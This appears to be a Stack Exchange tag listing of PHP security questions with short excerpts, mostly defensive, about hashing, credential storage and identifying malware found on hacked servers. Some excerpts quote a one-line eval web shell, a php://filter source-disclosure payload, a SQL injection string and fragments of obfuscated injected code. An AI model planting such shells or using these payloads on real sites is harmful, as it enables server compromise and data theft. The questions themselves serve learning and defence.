Security aspects concerning code written in the programming language PHP which is often used for web applications.

learn more… | top users | synonyms

0
votes
0answers
50 views

GoDaddy website hacked via PHP? [on hold]

So recently I opened the FTP account for a GoDaddy shared hosting website to find a few unusual PHP files scattered throughout various folders. The PHP code (which was highly obfuscated) eval'd code ...
10
votes
3answers
660 views

How secure are sha256 + salt hashes for password storage [duplicate]

I started reading about password hashing recently on multiple sites like this page on crackstation and others, and for what I have understood, I should avoid using hashing algorithms like md5 and sha1 ...
0
votes
4answers
260 views

How to secure MySQL database usernames and passwords within a php file? [duplicate]

I am working on a PHP website and my researches showed that it is entirely possible that the server can get hacked and the PHP files may get exposed. I store the MySQL DB Username and Password within ...
0
votes
3answers
64 views

What does this snippet of code do exactly? found it inside a number of files on my webserver [on hold]

Okay so I found some PHP code as I was randomly editing a website I've had for a very long time and I have noticed this: <?php #2b8008# error_reporting(0); @ini_set('display_errors',0); ...
3
votes
1answer
52 views

Found this textarea with PHP in it. Might it be malicious/exploitable?

I came across this textarea on the website of a Medical Center. Clients enter sensitive medical data here. What users see: HTML: <textarea name="message">&lt;?php echo ...
-2
votes
1answer
35 views

How to protect data at rest in a php application?

I was wondering which is the best way to secure data at rest (encrypt / decrypt) in a php application ( eq: stored in a database ) using AES ? Where is the best way to store the keys ?
0
votes
1answer
30 views

PHP code in user session LFI filtered out

Firstly, I make the obligatory disclaimer that everything I am doing here is legitimate and pre-authorized, etc., etc. For those unfamiliar with user session local file inclusion in PHP, there's a ...
2
votes
2answers
91 views

Will the following PHP code result in source code info leak/disclosure?

I'm aware of this vulnerability via PHP's filter stream wrapper that is able to disclose PHP source code: file=php://filter/convert.base64-encode/resource=filename.php. So I went ahead to guard ...
1
vote
1answer
28 views

What are the alternatives to null byte injection attack?

Now that Null byte injections no longer work on PHP, what are the alternative attack strategies used by attackers for remote file inclusion ?
2
votes
0answers
28 views

SQLMap on a seqential form

There is a certain form that gets posted over POST. The form has some form elements. I am doing a pen-test on the application that has this form. The form values are being stored in a certain ...
0
votes
2answers
60 views

My Magento shop is vulnerable to hacking [duplicate]

I have a headache with my shop using Magento, my shop is very vulnerable to hacking by bots or other people. They often add some scripts and files to sending spam mails. I think they come to me from ...
6
votes
4answers
1k views

Store password using sha1 [duplicate]

I've been using the sha1() function to hash password before inserting it into my database. But I have this procedure so that it just won't be the password to be hashed. My page would register a user ...
1
vote
1answer
64 views

Secure key generation and authentication in PHP

I'm not sure how to phrase this so I'll just explain my scenario and hopefully you can help. I have to create a site that will have 50-100 students all selecting courses they would like to take for ...
-1
votes
3answers
161 views

PHP Code Found Is It Malicious?

I found the following code on my website. What does it do? Is it malicious? Thank you. <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 ...
0
votes
2answers
228 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
2
votes
2answers
122 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
3
votes
2answers
372 views

Set the max length for input

Suppose I have a form, and one of this form inputs I set the max length to 15: <input type="text" name="username" maxlength="15"> Now the attacker wants to override this limit, to do that he ...
0
votes
1answer
48 views

putting my password in a php file (phpmailer) [duplicate]

I'm using phpmailer and to use it you have to set $mail->password I worry that my password is going to be accessible by hackers. Do I need to do something to protect it? I could put the password in ...
0
votes
3answers
92 views

Security benefits of hosting your CMS on localhost

If I host the CMS for my online website on localhost, will that mean that no one online can access it? If not, what is the most secure way to store your CMS?
0
votes
1answer
42 views

.htaccess protected folder except IP

I created an e-shop with e-books and they are stored in specific folder which is protected by a .htaccess file : Order deny,allow deny from all allow from 127.0.0.1 The IP is the IP of the webpage, ...
-1
votes
1answer
52 views

Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
0
votes
2answers
75 views

Ways to secure administrative pages of a portable site

I made a CMS (using PHP) that is basically drag and drop to be live (under linux/apache hosts), now I need the communications between the administrative/login pages of said CMS and the client (recent ...
-4
votes
1answer
95 views

How to make my PHP website vulnerable to SQL injection [duplicate]

For training purposes, I want to make a demo website vulnerable to SQL injection. I went to the .htaccess file in the server and added these 2 lines: php_flag magic_quotes_gpc Off php_flag ...
0
votes
1answer
68 views

How to pick an encryption algorithm (cipher) and mode for PHP's mcrypt, for encrypting passwords?

There are numerous algorithms listed in the PHP documentation: http://php.net/manual/en/mcrypt.ciphers.php How strong is each one and what criteria to use when picking one? Also the ...
1
vote
0answers
27 views

Having trouble reproducing PHP heap based buffer overflow in quoted_printable_encode [closed]

I am trying to follow the test script provided here. I've installed an apache web server with PHP version 5.3.25 and created a script with the following code: <?php // file: test.php $str = ...
1
vote
0answers
109 views

Deobfuscated Malicious PHP Code Comprehensively [closed]

I found 3 php files in a htaccess-password-protected upload folder on my server: 1. default_folders.php 2. factory.php 3. HMAC.php Each of them contains a variable string, eg: ...
7
votes
4answers
2k views

What does this malicious PHP script do? [closed]

Somebody hacked my site and uploaded this script (template46.php) to my webroot and its content is: <?php $vIIJ30Y = Array('1'=>'F', '0'=>'j', '3'=>'s', '2'=>'l', '5'=>'M', ...
0
votes
1answer
106 views

How does PHP's password_hash() BCRYPT cost factor translate into cracking computation times

I am trying to fully understand the relationship between BCRYPT's COST factors and how much more time it would take a machine to crack a password with PHP 5.5's password_hash() The encryption times I ...
12
votes
3answers
668 views

Drupal server compromised - I want to investigate the attack technique / compromise

I've got a drupal site running on an up to date CentOS 7 LAMP AWS EC2 instance (freshly installed a couple of months ago) and I've just found out that somehow, probably through a poorly coded 3rd ...
0
votes
0answers
18 views

How to help devs use HMAC safely with multiple data values?

I work on an open source web app framework whose users (developers) need to generate "security tokens" (MACs) for various purposes. Since they've traditionally been using vulnerable methods like ...
13
votes
3answers
1k views

FTP hacked, planted file [closed]

Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what ...
2
votes
2answers
408 views

PHP: Am I free from SQL Injection? [duplicate]

Let me preface this by saying this is my first attempt to understand input sanitation, and at the moment I'm still a newbie to PHP. I've put together a quick register/log in website to test some ...
0
votes
2answers
127 views

Is my hashing function good enough

Is there an obvious flaw with this hashing function (written in PHP)? function hash($password) { sleep(1); // Make hashing slow $hash = ""; $iterations = strlen($password); for ( $i = 0; $i ...
2
votes
2answers
133 views

After trying successful SQL injection why the result isn't getting displayed on the webpage?

Below is the PHP code I wrote that allows SQL injection with one parameter ie 'id' in this case. On trying SQL injection via putting this 2' ORDER BY 1;--' in the parameter (id field ), I get ...
44
votes
6answers
6k views

Should I be concerned if my website throws stack information?

I have a simple login form on my web page and the URL looks like this: example.com/signup/signup.php?q=1 If I try something like this: example.com/signup/signup.php?q=1&() I'm redirected to ...
1
vote
2answers
114 views

XSS via REQUEST_URI

Is there any situation where an XSS attack can be performed via the PHP $_SERVER['REQUEST_URI'] variable? For those unfamiliar with it: It contains the complete URL used to access that website, ...
1
vote
0answers
24 views

Security issues IIS 7.5 with PHP 5.3 [duplicate]

We are facing alot of weird php files all over our WordPress websites on our IIS 7.5 server. The file look like XSS script and maybe that php code that the hacker use to send spam emails or something ...
1
vote
1answer
132 views

Security issue with form action $_SERVER['PHP_SELF']

I read that there is a potential securty issue with forms like this (action $_SERVER['PHP_SELF']) <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <input ...
2
votes
2answers
172 views

Hack: anymonous URL on my Joomla Website[Resolve] [closed]

My website has been hacked again. There are many foreign URLs such as here. I've checked the database and there is nothing strange in my database. Does anyone know what kind of hack attack is like ...
2
votes
2answers
258 views

What is a current best practice example of basic encryption and decryption in PHP?

I have a good working knowledge of basic security best practices (password hashing, preventing sql injection, CSRF, etc.) but am completely at a loss for finding a solution to common-case encryption ...
0
votes
1answer
77 views

Is enough to remove “..” from strings to avoid directory traversal attack?

Lets say I want to build a simple PHP script that let me access files inside a folder: $path = $_GET['path']; $path = str_replace('..', '', $path); $path = "./static/" . $path; readfile($path); Is ...
-3
votes
1answer
56 views

Creating blacklist on login page [closed]

I am working on how to secure login page from tautology attack. Can anybody help me on how to create blackist of SQL keywords in php ?
-2
votes
1answer
129 views

Possible Injection to PHP PDO

Expert says that PDO is one of secure scripting from mysql injection. I have read the manual about it and do some little research. And here, I'm trying to get ID value from URL paramater, as in: ...
1
vote
1answer
351 views

What does this PHP injected-code do?

I've just found out that all of my websites on one of my server has been hacked. Some seemingly malicous code was injected into all index.php files: /*EngineWork*/ if(!defined("FDSJERIUI234FSDF")){ ...
1
vote
0answers
43 views

IIS | Block execution of files in directory

I am dealing with user uploads via a PHP application. I want to secure the server so no exploits are available to the user, such as uploading a php shell and executing it. I have set it so all ...
0
votes
1answer
61 views

PHP and other files on the server, their visibility and access [closed]

Let's say I would like to protect my PHP files that are on the public server and are used as a part of the website. Does anyone can easily access these files just like HTML/JS/CSS files through ...
4
votes
3answers
206 views

Demonstrating SQL injection

I want to do a demo for a login page that is vulnerable to SQL injection for training purposes. I already tried to build one using PHP and MySQL. I commented the code sanitation to make the page ...
0
votes
1answer
90 views

php- is my code secured enough to protect from remote command execution when using shell_exec()?

I am using shell_exec function on the following variables to execute commands on the shell: fname (characters only) fpack(characters only) email (a valid email address) My code is: <?php ...
2
votes
0answers
26 views

Understanding how openx cache was infected

I have a system that uses openx for serving banners. I have recently noticed that several cache file in /var/cache contain infected code. The code contains sql queries that create several php files in ...
10
votes
4answers
1k views

What is Net-Worm.PHP.Mongiko trying to do?

I found several lines of this request in my web server access log: Source IP Dest IP Request Stat User agent 217.172.190.19 ...